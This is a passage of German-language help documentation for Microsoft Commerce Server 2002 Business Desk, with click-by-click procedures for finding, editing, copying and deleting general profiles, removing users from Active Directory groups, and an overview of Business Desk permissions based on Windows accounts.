Ein allgemeines Profil ist ein Profil, das mit einer allgemeinen Profildefinition erstellt wird. Allgemeine Profildefinitionen sind alle Profildefinitionen, bei denen es sich nicht um die Profildefinitionen Benutzerobjekt oder Organisation handelt. Mithilfe des Moduls "Profil-Editor" können Sie Informationen über allgemeine Profile suchen, hinzuzufügen und löschen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Suchen eines allgemeinen Profils
  • Bearbeiten von allgemeinen Profilen
  • Kopieren eines allgemeinen Profils
  • Löschen von allgemeinen Profilen


Suchen eines allgemeinen Profils

Mithilfe des Moduls "Profil-Editor" können Sie Ihre Website nach einem allgemeinen Profil oder einer Gruppe von allgemeinen Profilen durchsuchen. Im Bereich Suchen können Sie die Suche mit den Eigenschaften der Profildefinition und den Werten im Profil einschränken. So können Sie beispielsweise nach einem allgemeinen Profil suchen, das in der Profileigenschaft "Bestellnummer" den Wert "345" enthält. Die Liste Gefilterte Ansicht unterhalb des Bereichs Suchen enthält alle allgemeinen Profile, die den Suchkriterien entsprechen.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So suchen Sie ein allgemeines Profil

Erstellen eines Ausdrucks für die Suche nach einem allgemeinen Profil

So suchen Sie ein allgemeines Profil

Vorsicht

  • Bei der Suche nach allgemeinen Profilen ist es wichtig, die Suche anhand von Kriterien zu begrenzen, um die Anzahl der gefundenen allgemeinen Profile einzuschränken. Wenn Ihre Suchkriterien auf eine große Zahl von allgemeinen Profilen zutreffen, können die Ergebnisse die Leistung von Commerce Server Business Desk deutlich beeinträchtigen.
  1. Klicken Sie im Menü Profile auf die Option Profil-Editor.
  2. Wählen Sie im Bildschirm Profile die Profildefinition mit dem allgemeinen Profil aus, das Sie suchen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wenn der Bereich Suchen des Bildschirms Profildefinition nicht geöffnet ist, klicken Sie auf der Symbolleiste auf Suchen.
  4. Im Dropdownfeld Suchen nach können Sie folgende Schritte ausführen:

    Hinweis

    • Unter Umständen enthalten die Eigenschaften im Dropdownfeld Suchen nach nicht genau die in dieser Anweisung vorgestellten Eigenschaften. Welche Eigenschaften im Feld Suchen nach angezeigt werden, richtet sich nach der in Schritt 2 ausgewählten Profildefinition. Dem folgenden Beispiel liegt die Profildefinition Pauschalbestellungen zu Grunde.
    Funktion | Aktion
    Bestellnummer | Suchen eines allgemeinen Profils anhand des Namens.
    Beschreibung | Suchen eines allgemeinen Profils anhand der Beschreibung.
    Zuletzt geändert am | Suchen eines allgemeinen Profils, das an einem bestimmten Datum geändert wurde.
    Erstellt am | Suchen eines allgemeinen Profils, das an einem bestimmten Datum erstellt wurde.
    Nach Eigenschaft suchen | Suchen eines allgemeinen Profils anhand einer Eigenschaft. Diese Option ermöglicht das Erstellen eines Ausdrucks für die Suche nach einem allgemeinen Profil.
  5. Nun erscheint ein Feld für den Eigenschaftswert, in das Sie den betreffenden Wert der ausgewählten Eigenschaften eingeben oder aus der Dropdownliste wählen (z. B. den Namen der gesuchten Bestellnummer).

    Hinweise

    • Wenn Sie die Suche noch weiter eingrenzen möchten, können Sie in der Dropdownliste Suchen nach den Eintrag Nach Eigenschaft suchen auswählen und einen Ausdruck für die Suche nach einem allgemeinen Profil erstellen.
    • Mithilfe eines Platzhalters (*) haben Sie die Möglichkeit, eine beliebige Anzahl von Zeichen in die Suche aufzunehmen. Mit der Zeichenfolge t* wird beispielsweise nach allen Benutzern gesucht, deren Name mit dem Buchstaben "t" beginnt.
  6. Klicken Sie auf Suchen.

Die Suche wird nun durchgeführt. Ist die Suche erfolgreich, werden die gefundenen allgemeinen Profile in der Liste Gefilterte Ansicht angezeigt. Ist die Suche ergebnislos, wird die Meldung Keines der Elemente stimmt mit dem Suchbegriff überein angezeigt.


Erstellen eines Ausdrucks für die Suche nach einem allgemeinen Profil

Um die Suche weiter einzugrenzen, können Sie einen Ausdruck erstellen. Ausdrücke sind Zusammenstellungen aus Eigenschaften, Operatoren und Werten, die zu einem Ergebnis ausgewertet werden können. Ein Ausdruck kann beispielsweise "Organisations-ID ist gleich 4" oder "Bestellnummer ist größer als 4000" lauten.

So erstellen Sie einen Ausdruck für die Suche nach einem allgemeinen Profil

  1. Klicken Sie im Menü Profile auf die Option Profil-Editor.
  2. Wählen Sie im Bildschirm Profile die Profildefinition mit dem Profil aus, das Sie suchen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wenn der Bereich Suchen des Bildschirms Profildefinition nicht geöffnet ist, klicken Sie auf der Symbolleiste auf Suchen.
  4. Wählen Sie in der Dropdownliste im Feld Suchen nach den Eintrag Nach Eigenschaft suchen aus.
  5. Klicken Sie im Bereich Suchen auf Neu.
  6. Doppelklicken Sie in der ersten Dropdownliste auf die Eigenschaftsgruppe, und wählen Sie dann die Eigenschaft aus, die Sie für die Suche verwenden möchten.

    Hinweis

    • Der Eigenschaftstyp der ausgewählten Eigenschaft bestimmt, welche Bedingungen für die Suche verfügbar sind. Wenn die ausgewählte Eigenschaft z. B. vom Typ Zeichenfolge ist, können Sie die folgenden Suchbedingungen wählen: ist gleich, enthält oder beginnt mit. Wenn die ausgewählte Eigenschaft vom Typ Sitebegriff ist, stehen die Suchbedingungen ist gleich oder ist ungleich zur Verfügung.
  7. In der zweiten Dropdownliste wählen Sie nun die Suchbedingung aus.

    Hinweis

    • Der Eigenschaftstyp der ausgewählten Eigenschaft bestimmt, auf welche Weise Sie die Suchkriterien eingeben. Ist die ausgewählte Eigenschaft z. B. vom Typ Zeichenfolge, geben Sie die gesuchte Zeichenfolge in das dritte Feld ein. Wenn die ausgewählte Eigenschaft vom Typ Sitebegriff ist, klicken Sie auf die Auslassungsschaltfläche […], um das Dialogfeld Wählen Sie einen Sitebegriff aus zu öffnen, und wählen Sie anschließend den gesuchten Begriff aus.
  8. In das dritte Feld geben Sie die Suchkriterien ein oder wählen sie aus.
  9. Klicken Sie auf Übernehmen und dann auf Suchen.

Die Suche wird nun durchgeführt. Ist die Suche erfolgreich, werden die gefundenen Profile in der Liste Gefilterte Ansicht angezeigt. Ist die Suche ergebnislos, wird die Meldung Keines der Elemente stimmt mit dem Suchbegriff überein angezeigt.

Siehe auch

Informationen über Profile

Hinzufügen eines allgemeinen Profils

Bearbeiten von allgemeinen Profilen

Kopieren eines allgemeinen Profils

Löschen von allgemeinen Profilen


Bearbeiten von allgemeinen Profilen

Im Modul "Profil-Editor" können Sie vorhandene allgemeine Profile bearbeiten. Sie können die allgemeinen Profile einzeln oder mehrere allgemeinen Profile gleichzeitig bearbeiten. Mithilfe des Moduls "Profil-Editor" können Sie darüber hinaus bis zu vier Ebenen von eingebetteten allgemeinen Profilen bearbeiten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Bearbeiten eines einzelnen allgemeinen Profils
  • Bearbeiten mehrerer allgemeiner Profile
  • Bearbeiten eines eingebetteten allgemeinen Profils


Bearbeiten eines einzelnen allgemeinen Profils

Im Modul "Profil-Editor" können Sie vorhandene allgemeine Profile bearbeiten.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

So bearbeiten Sie ein allgemeines Profil

  1. Klicken Sie im Menü Profile auf die Option Profil-Editor.
  2. Wählen Sie im Bildschirm Profile die Profildefinition des allgemeinen Profils aus, das Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .
  3. Wählen Sie im Bildschirm Profildefinition das allgemeine Profil aus, das Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .

    Hinweis

    • Im oberen Teil des Bildschirms Profildefinition finden Sie den Bereich Suchen, mit dem Sie ein bestimmtes allgemeines Profil anzeigen können. Informationen über das Suchen eines allgemeinen Profils finden Sie unter Suchen eines allgemeinen Profils.
  4. Bearbeiten Sie das allgemeine Profil im Bildschirm Profil aktualisieren: Allgemeines Profil.

    Hinweis

    • Informationen zum Bildschirm Profil aktualisieren: Allgemeines Profil finden Sie unter Hinzufügen eines allgemeinen Profils.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das allgemeine Profil zu speichern und zum Bildschirm Profile zurückzukehren.

Das bearbeitete allgemeine Profil wird gespeichert.

Siehe auch

Informationen über Profile

Hinzufügen eines allgemeinen Profils

Bearbeiten mehrerer allgemeiner Profile

Bearbeiten eines eingebetteten allgemeinen Profils

Kopieren eines allgemeinen Profils

Löschen von allgemeinen Profilen


Bearbeiten mehrerer allgemeiner Profile

Im Modul "Profil-Editor" können Sie mehrere allgemeine Profile bearbeiten. Bei der Bearbeitung mehrerer allgemeiner Profile nehmen Sie in allen bearbeiteten Profilen die gleichen Änderungen vor. Mithilfe einer Aktualisierungsabfrage wird der Wert einer Eigenschaft in mehreren allgemeinen Profilen geändert.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

Die folgende Prozedur basiert auf der Profildefinition Adresse.

So bearbeiten Sie mehrere allgemeine Profile

  1. Klicken Sie im Menü Profile auf die Option Profil-Editor.
  2. Wählen Sie im Bildschirm Profile die Profildefinition Adresse aus, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .
  3. Wählen Sie im Bildschirm Adresse die Profile aus, die Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .

    Hinweise

    • Mithilfe des Bereichs Suchen im oberen Teil des Bildschirms Adresse können Sie bestimmte allgemeine Profile anzeigen. Informationen über das Suchen eines allgemeinen Profils finden Sie unter Suchen eines allgemeinen Profils.
    • Um alle allgemeinen Profile in der Liste Gefilterte Ansicht auszuwählen, klicken Sie auf Alle auswählen. Um die Auswahl der allgemeinen Profile in der Liste Gefilterte Ansicht aufzuheben, klicken Sie auf Auswahl aufheben.
    • Wenn Sie auf Alle auswählen klicken, um alle allgemeinen Profile in der Liste Gefilterte Ansicht auszuwählen, werden nur die allgemeinen Profile im aktuellen Bildschirm (maximal 20 allgemeine Profile pro Bildschirm) ausgewählt.
  4. Um eine neue Aktualisierungsabfrage zu erstellen, klicken Sie im Bildschirm Anzahl der Profile Profile aktualisieren auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Erste Dropdownliste (links) Wählen Sie in der ersten Dropdownliste Adresse aus, wählen Sie anschließend die Eigenschaftsgruppe aus, und klicken Sie dann auf die Eigenschaft, die Sie in der Aktualisierungsabfrage verwenden möchten.

    Hinweis

    • Der Eigenschaftstyp der ausgewählten Eigenschaft bestimmt, welche Bedingungen für die Abfrage in der zweiten Dropdownliste verfügbar sind. Wenn die ausgewählte Eigenschaft z. B. vom Typ Zeichenfolge ist, können Sie die folgenden Suchbedingungen wählen: ist gleich, enthält oder beginnt mit. Wenn die ausgewählte Eigenschaft vom Typ Sitebegriff ist, stehen die Suchbedingungen ist gleich oder ist ungleich zur Verfügung.
    Zweite Dropdownliste (Mitte) | Wählen Sie die Bedingung für die Aktualisierungsabfrage aus.
    Dritte Dropdownliste (rechts) Wählen Sie den neuen Eigenschaftswert aus, oder geben Sie ihn ein.

    Der Eigenschaftstyp der im ersten Feld ausgewählten Eigenschaft bestimmt, wie die Änderung für diese Eigenschaft eingegeben wird.

    Ist die ausgewählte Eigenschaft z. B. vom Typ Zeichenfolge, geben Sie die gesuchte Zeichenfolge in das dritte Feld ein. Wenn die ausgewählte Eigenschaft vom Typ Sitebegriff ist, klicken Sie auf die Auslassungsschaltfläche, um das Dialogfeld Wählen Sie einen Sitebegriff aus zu öffnen. Wählen Sie anschließend den Begriff aus, dem Sie die Eigenschaft zuweisen möchten.
  5. Klicken Sie auf Übernehmen, um die neue Aktualisierungsabfrage zu erstellen.
  6. Um eine andere Aktualisierungsabfrage zu erstellen, wiederholen Sie die Schritte 3 und 4.
  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Aktualisierungsabfrage zu speichern und zum Bildschirm Adresse zurückzukehren.

Die Organisationsprofile werden mit den neuen Informationen gespeichert.

Siehe auch

Informationen über Profile

Hinzufügen eines allgemeinen Profils

Bearbeiten eines eingebetteten allgemeinen Profils

Kopieren eines allgemeinen Profils

Löschen von allgemeinen Profilen


Bearbeiten eines eingebetteten allgemeinen Profils

Mithilfe des Moduls "Profil-Editor" können Sie bis zu vier Ebenen (einschließlich der obersten Ebene) von eingebetteten allgemeinen Profilen bearbeiten. Darüber hinaus können Sie die Profile mit dem Modul "Profil-Editor" einzeln bearbeiten.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

So bearbeiten Sie ein eingebettetes allgemeines Profil

  1. Klicken Sie im Menü Profile auf die Option Profil-Editor.
  2. Wählen Sie im Bildschirm Profile die Profildefinition mit dem eingebetteten Profil aus, das Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .
  3. Wählen Sie im Bildschirm Profildefinition die Profildefinition des eingebetteten Profils aus, das Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.

    Hinweis

    • Im oberen Teil des Bildschirms Profildefinition finden Sie den Bereich Suchen, mit dem Sie ein bestimmtes Profil anzeigen können. Informationen über das Suchen eines allgemeinen Profils finden Sie unter Suchen eines allgemeinen Profils.
  4. Wählen Sie im Bildschirm Aktualisieren: Profildefinition: Profil in der Eigenschaft, die auf ein eingebettetes Profil verweist, das eingebettete Profil aus der Dropdownliste aus, das Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.

    Hinweis

    • Um die nächste Ebene eines eingebetteten Profils zu bearbeiten, wiederholen Sie Schritt 4.
  5. Ändern Sie das eingebettete Profil wie gewünscht.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das eingebettete Profil zu speichern und zum Bildschirm Aktualisieren: Profildefinition: Profil zurückzukehren.
  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das Profil zu speichern und zum Bildschirm Profildefinition zurückzukehren.

Das bearbeitete eingebettete Profil wird gespeichert.

Siehe auch

Informationen über Profile

Hinzufügen eines allgemeinen Profils

Bearbeiten von allgemeinen Profilen

Kopieren eines allgemeinen Profils

Löschen von allgemeinen Profilen


Kopieren eines allgemeinen Profils

Im Modul "Profil-Editor" können Sie vorhandene allgemeine Profile kopieren. Wenn Sie beispielsweise ein neues allgemeines Profil hinzufügen möchten, das einem vorhandenen allgemeinen Profil sehr ähnlich ist, können Sie das vorhandene allgemeine Profil kopieren. Sie nehmen die gewünschten Änderungen an den Profilinformationen vor und speichern dieses Profil anschließend als neues allgemeines Profil.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

So kopieren Sie ein allgemeines Profil

  1. Klicken Sie im Menü Profile auf die Option Profil-Editor.
  2. Wählen Sie im Bildschirm Profile die Profildefinition mit dem allgemeinen Profil aus, das Sie kopieren möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .
  3. Wählen Sie im Bildschirm Profildefinition das Profil aus, das Sie kopieren möchten, und klicken Sie anschließend auf der Symbolleiste auf Kopieren.

    Hinweis

    • Im oberen Teil des Bildschirms Profildefinition finden Sie den Bereich Suchen, mit dem Sie ein bestimmtes Profil anzeigen können. Informationen über das Suchen eines allgemeinen Profils finden Sie unter Suchen eines allgemeinen Profils.
  4. Im Bereich Allgemeine Informationen des Bildschirms Neues Profil (kopieren) können Sie die vorhandenen Informationen im kopierten Profil nach Bedarf ändern.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das neue allgemeine Profil zu speichern und zum Bildschirm Profildefinition zurückzukehren.

Das neue Profil wird gespeichert.

Siehe auch

Informationen über Profile

Hinzufügen eines allgemeinen Profils

Bearbeiten von allgemeinen Profilen

Löschen von allgemeinen Profilen


Löschen von allgemeinen Profilen

Mithilfe des Moduls "Profil-Editor" werden vorhandene Profile aus der Commerce Server-Datenbank entfernt.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

Um den Inhalt einer Eigenschaft zu löschen, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist.

Vorsicht

  • Ein einmal gelöschtes allgemeines Profil kann nicht wiederhergestellt werden.

So löschen Sie ein allgemeines Profil

So löschen Sie mehrere allgemeine Profile

So löschen Sie ein eingebettetes allgemeines Profil

So löschen Sie ein allgemeines Profil

  1. Klicken Sie im Menü Profile auf die Option Profil-Editor.
  2. Wählen Sie im Bildschirm Profile die Profildefinition mit dem Profil aus, das Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .
  3. Wählen Sie das Profil, das Sie löschen möchten, und klicken Sie dann auf der Symbolleiste auf Löschen.

    Hinweis

    • Im oberen Teil des Bildschirms Profiltyp finden Sie den Bereich Suchen, mit dem Sie ein bestimmtes Profil anzeigen können. Informationen über das Suchen eines allgemeinen Profils finden Sie unter Suchen eines allgemeinen Profils.
  4. Klicken Sie im Dialogfeld Löschen auf OK, um das Profil zu löschen.

    Das Profil wird nun gelöscht.

  5. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Profile zurückzukehren.

So löschen Sie mehrere allgemeine Profile

Hinweis

  • Wenn Sie auf Alle auswählen klicken, um alle allgemeinen Profile in der Liste Gefilterte Ansicht auszuwählen, werden nur die allgemeinen Profile im aktuellen Bildschirm (maximal 20 allgemeine Profile pro Bildschirm) ausgewählt.
  1. Klicken Sie im Menü Profile auf die Option Profil-Editor.
  2. Wählen Sie im Bildschirm Profile die Profildefinition mit den allgemeinen Profilen aus, die Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Profildefinition die allgemeinen Profile aus, die Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Löschen .

    Hinweise

    • Im oberen Teil des Bildschirms Profildefinition finden Sie den Bereich Suchen, mit dem Sie bestimmte allgemeine Profile anzeigen können. Informationen über das Suchen eines allgemeinen Profils finden Sie unter Suchen eines allgemeinen Profils.
    • Um alle allgemeinen Profile in der Liste Gefilterte Ansicht auszuwählen, klicken Sie auf Alle auswählen. Um die Auswahl der allgemeinen Profile in der Liste Gefilterte Ansicht aufzuheben, klicken Sie auf Auswahl aufheben.
    • Wenn Sie auf Alle auswählen klicken, um alle allgemeinen Profile in der Liste Gefilterte Ansicht auszuwählen, werden nur die allgemeinen Profile im aktuellen Bildschirm (maximal 20 allgemeine Profile pro Bildschirm) ausgewählt.
  4. Klicken Sie im Dialogfeld Löschen auf OK, um die ausgewählten allgemeinen Profile zu löschen.

    Die allgemeinen Profile werden nun gelöscht.

  5. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Profile zurückzukehren.

So löschen Sie ein eingebettetes allgemeines Profil

  1. Klicken Sie im Menü Profile auf die Option Profil-Editor.
  2. Wählen Sie im Bildschirm Profile die Profildefinition mit dem eingebetteten Profil aus, das Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .
  3. Wählen Sie im Bildschirm Profildefinition das Benutzerprofil mit dem eingebetteten Profil aus, das Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .
  4. Öffnen Sie im Bildschirm Profil aktualisieren: Allgemeines Profil die Dropdownliste der Eigenschaft, die das zu löschende Profil enthält, und klicken Sie dann auf Profilverweis entfernen.
  5. Klicken Sie im Dialogfeld Löschen auf OK, um das eingebettete Benutzerprofil zu löschen.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das aktualisierte Profil zu speichern und zum Bildschirm Profildefinition zurückzukehren.
  7. Klicken Sie auf Zurück, um zum Bildschirm Profile zurückzukehren.

Das Profil wird gespeichert, und das eingebettete Profil wird aus der Profildatenbank gelöscht.

Siehe auch

Informationen über Profile

Hinzufügen eines allgemeinen Profils

Bearbeiten von allgemeinen Profilen

Kopieren eines allgemeinen Profils


Entfernen von Benutzern aus ActiveDirectory-Gruppen

Feedback zu dieser Seite senden Commerce Server 2002

Entfernen von Benutzern aus Active Directory-Gruppen

Mit dem Modul "Gruppen-Manager" können Sie vorhandene Benutzer aus ihren Active Directory-Gruppen entfernen. Der Gruppen-Manager ist nur für Active Directory-Bereitstellungen verfügbar.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So löschen Sie einen Benutzer aus einer Active Directory-Gruppe

So löschen Sie eine Gruppe aus einer Active Directory-Gruppe

So löschen Sie einen Benutzer aus einer Active Directory-Gruppe

  1. Klicken Sie im Menü Profile auf Gruppen-Manager.
  2. Wählen Sie im Bereich Suchen des Bildschirms Benutzer oder Gruppe suchen die Option Benutzer aus.
  3. Geben Sie im Suchfilter den Namen des Benutzers ein, den Sie entfernen möchten. Sie können bei der Namenssuche Platzhalterzeichen (*) verwenden.
  4. Klicken Sie auf Suchen.

    Wenn die Suche keinen oder mehr als 1.000 Treffer ergibt, wird eine Fehlermeldung angezeigt. Wenn die Suche erfolgreich ist, werden die Ergebnisse in einer Liste ausgegeben.

  5. Wählen Sie den Benutzer aus, den Sie aus einer Active Directory-Gruppe entfernen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  6. Wählen Sie in der Liste Gruppen, denen dieser Benutzer angehört des Bildschirms Benutzer verwalten die Gruppe aus, aus der Sie den Benutzer entfernen möchten, und klicken Sie dann auf der Symbolleiste auf Objekt aus Gruppe entfernen.

    Der Benutzer wird nun aus der ausgewählten Active Directory-Gruppe entfernt.

  7. Klicken Sie auf Zurück, um zum Bildschirm Benutzer oder Gruppe suchen zurückzukehren.

So löschen Sie eine Gruppe aus einer Active Directory-Gruppe

  1. Klicken Sie im Menü Profile auf Gruppen-Manager.
  2. Wählen Sie im Bereich Suchen des Bildschirms Benutzer oder Gruppe suchen die Option Gruppen aus.
  3. Geben Sie im Suchfilter den Namen der Active Directory-Gruppe ein, aus der Sie die Gruppe entfernen möchten. Sie können bei der Namenssuche Platzhalterzeichen (*) verwenden.
  4. Klicken Sie auf Suchen. Wenn die Suche keinen oder mehr als 1.000 Treffer ergibt, wird eine Fehlermeldung angezeigt. Wenn die Suche erfolgreich ist, werden die Ergebnisse in einer Liste ausgegeben.
  5. Wählen Sie die Active Directory-Gruppe aus, aus der Sie die Gruppe entfernen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  6. Wählen Sie in der Liste Objekte, die zu dieser Gruppe gehören des Bildschirms Gruppe verwalten die Gruppe aus, die Sie entfernen möchten, und klicken Sie dann auf der Symbolleiste auf Objekt aus Gruppe entfernen. Die Ergebnisse werden gespeichert.

    Die Gruppe wird nun aus der ausgewählten Active Directory-Gruppe entfernt.

  7. Klicken Sie auf Zurück, um zum Bildschirm Benutzer oder Gruppe suchen zurückzukehren.


Business Desk-Sicherheit

Mithilfe des Moduls "Business Desk-Berechtigungen" wird die Benutzeroberfläche von Business Desk geschützt. Sie können Business Desk-Benutzern den Zugriff auf bestimmte Business Desk-Funktionen gewähren oder verweigern. So kann beispielsweise festgelegt werden, dass nur bestimmte Business Desk-Benutzer einen vorhandenen Produktkatalog bearbeiten können.

Den Zugriff auf die Business Desk-Funktionen können Sie mithilfe des Moduls "Berechtigungen" gewähren oder verweigern. Das Modul "Berechtigungen" wurde für Systemadministratoren und hochrangige Manager entwickelt. Mit dem Modul "Berechtigungen" können Sie ein Microsoft Windows-Konto bzw. eine Microsoft Windows-Gruppe auswählen und dann für diese Benutzergruppe Business Desk-Berechtigungen gewähren bzw. verweigern.

Dieser Abschnitt beinhaltet folgende Themen:

  • Workflow für die Sicherheit. Veranschaulicht den Workflow für das Einrichten und Verwalten des Business Desk-Benutzerzugriffs.
  • Informationen über Business Desk-Sicherheit. Beschreibt den Inhalt der Business Desk-Sicherheit und ihre Einsatzmöglichkeiten zur Beschränkung des Benutzerzugriffs.
  • Tipps zur Arbeit mit Berechtigungen. Bietet wichtige Informationen zum Zuweisen von Berechtigungen an Benutzer von Business Desk.
  • Erstellen von Windows-Konten. Erläutert, wie Windows-Konten für Business Desk-Benutzer hinzugefügt werden.
  • Hinzufügen von Windows-Konten zur Kontenliste. Erläutert, wie Windows-Konten zur Kontenliste des Moduls "Berechtigungen" hinzugefügt werden.
  • Einrichten von Business Desk-Berechtigungen für Windows-Konten. Erläutert, wie Business Desk-Berechtigungen für Windows-Konten gewährt, verweigert oder geändert werden.
  • Entfernen von Windows-Konten aus der Kontenliste. Erläutert, wie Windows-Konten aus der Kontenliste des Moduls "Berechtigungen" entfernt werden.
  • Anzeigen von Kontoberechtigungen. Erläutert, wie Kontoberechtigungen angezeigt und verwaltet werden.


Workflow für die Sicherheit

Die folgende Abbildung veranschaulicht ein Beispielszenario, bei dem Ihr Systemadministrator Windows-Konten erstellt und Sie dann mithilfe des Moduls "Business Desk-Berechtigungen" Berechtigungen gewähren.

Workflow für Business Desk-Sicherheit

  1. Der Systemadministrator erstellt Windows-Konten.
  2. Mithilfe des Moduls "Business Desk-Berechtigungen" fügen Sie der Kontenliste des Moduls "Berechtigungen" Windows-Konten hinzu.
  3. Sie gewähren Benutzern die Berechtigungen für das Erstellen, Bearbeiten und Löschen von Katalogen.
  4. Sie gewähren Benutzern die Berechtigungen für das Erstellen, Bearbeiten und Löschen von Profilen.
  5. Sie gewähren Benutzern die Berechtigungen für den Zugriff auf Business Desk-Kategorien, -Module und -Tasks.

Siehe auch

Informationen über Business Desk-Sicherheit

Erstellen von Windows-Konten

Einrichten von Business Desk-Berechtigungen für Windows-Konten


Informationen über Business Desk-Sicherheit

Microsoft Commerce Server 2002 verfügt über hochspezialisierte Sicherheitsfunktionen für Commerce Server Business Desk, die auf Benutzer- und Anwendungsebene eingerichtet werden können. Mithilfe der Sicherheitsfeatures von Business Desk können Sie Berechtigungen für den Zugriff auf Ihre Profile, Kataloge, Katalogkategorien und Eigenschaften gewähren bzw. verweigern. Darüber hinaus können Sie Business Desk-Kategorien und -Module sichern und die den Modulen zugeordneten Tasks einschränken.

Business Desk verwendet zur Authentifizierung von Benutzern Windows-Konten. Windows-Konten für Benutzer oder Benutzergruppen können vom Systemadministrator von einem beliebigen Windows-Server aus eingerichtet werden. Nachdem die Benutzer oder Gruppenkonten erstellt sind, können Sie das Modul "Business Desk-Berechtigungen" verwenden, um Gruppen oder Benutzern Berechtigungen zu gewähren bzw. zu verweigern.

Dieser Abschnitt beinhaltet folgende Themen:

  • Windows-Benutzerkonten und -Benutzergruppen
  • Berechtigungen in Business Desk


Windows-Benutzerkonten und -Benutzergruppen

Jeder Benutzer, der Zugriff auf Windows-Server benötigt, muss über ein Benutzerkonto verfügen. Mithilfe dieses Kontos kann sich der Benutzer bei einem Server oder einer Domäne anmelden. Der Systemadministrator erstellt ein Benutzerkonto, indem er einem Konto einen Benutzernamen zuweist und die Identifizierungsinformationen und Berechtigungen für den Benutzer festlegt. Das Konto umfasst Benutzerinformationen, Gruppenmitgliedschaften und Sicherheitsrichtlinieninformationen.

Systemadministratoren können die Benutzer entsprechend ihren Aufgaben in Bezug auf den Business Desk-Zugriff in Gruppen zusammenfassen. Das Kundendienstpersonal benötigt beispielsweise Zugriff auf das Bestellmodul in Business Desk.

